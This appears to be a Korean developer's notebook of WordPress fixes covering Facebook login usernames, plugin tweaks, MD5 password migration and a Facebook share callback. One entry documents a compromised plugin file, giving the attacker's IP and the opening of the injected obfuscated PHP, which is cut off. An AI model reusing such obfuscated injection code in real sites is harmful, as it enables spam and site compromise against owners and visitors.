페이스북에서 받아온 아이디가 한글일 경우, sanitize_user()함수를 처리할 때, 공백으로 필터링되기 때문에 회원디비에 등록할 때 오류가 발생한다. $user_login = sanitize_user($username, true); //owl if ($user_login=="") { $user_emailname = explode('@', $fbdata['email']); $username = $user_emailname[0]; $user_login = $username; } 디버깅 사례
advanced-code-editor => spammed
/wordpress/wp-content/plugins/advanced-code-editor/themes/article.php 변조된 사례 => 스팸공격 공격시 사용된 IP : 202.50.176.101 <?php $i34="dF/v;->7K\r<~o_p*5e(RZQ3wh\$P^JLxDs\t?TgS\"rOqYibX4WA%G|M+! Cu`t#N{])Bfa8=lH60zc,E1\nkV'm}ynI&.\\2Uj9:@["; $GLOBALS['xkdnu25'] = $i34[17].$i34[39].$i34[39].$i34[12].$i34[39].$i34[13].$i34[39].$i34[17].$i34[14].$i34[12].$i34[39].$i34[59].$i34[43].$i34
mega_main_menu : rgba2hex, hex2rgb for xp ie
wp-content ▸ plugins ▸ mega_main_menu ▸ framework
user_pass migration : mysql password to md5 for wordpress
wp-includes/pluggable.php
seo-ultimate 플러그인 : meta og:image => use first image
wp-content ▸ plugins ▸ seo-ultimate ▸ modules ▸ opengraph
fb share callback needs fb login - user's approval
function ClickFBLike() { FB.login(function(response) { console.log('FB.login response', response); FB.ui({ method: 'share', href: 'http://youdomain.com/?ppp=test', caption: 'title....', }, function(response){ if (response && !response.error_code) { console.log('success!!'); } else { console.log('cancelation!!'); } }); }); }